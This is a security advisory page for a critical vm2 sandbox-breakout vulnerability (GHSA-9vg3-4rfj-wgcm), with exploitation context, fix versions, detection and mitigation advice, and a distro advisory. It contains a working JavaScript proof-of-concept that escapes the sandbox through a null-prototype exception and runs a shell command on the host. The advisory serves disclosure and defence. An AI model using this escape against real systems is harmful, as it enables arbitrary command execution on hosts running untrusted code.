vm2 has Sandbox Breakout Through Null Proto ExceptionGHSA-9vg3-4rfj-wgcm
CRITICALGHSA-9vg3-4rfj-wgcm is a critical-severity (CVSS 9.8) CWE-668 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9vg3-4rfj-wgcm.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vm2npmDescription
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
In handleException due to // SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function object.
PoC
const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
throw o;
} catch (e) {
e.f = Buffer.prototype.inspect
o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vm2 | all versions | 3.11.2npm install vm2@3.11.2 |
Affected Products
vm2vm2_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vm2 to 3.11.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9vg3-4rfj-wgcm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
vm2 is vulnerable to sandbox escape leading to arbitrary code execution on the host. A remote unauthenticated attacker who can submit code to the vm2 sandbox may escape isolation and execute arbitrary commands. Fixed in vm2 3.11.2.
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Ansible Automation Platform 2.1 | ansible-automation-platform/automation-portal:1785854226 | RHSA-2026:50850 |
Frequently Asked Questions
Is GHSA-9vg3-4rfj-wgcm in your dependencies?
Find it across npm, including transitive dependencies.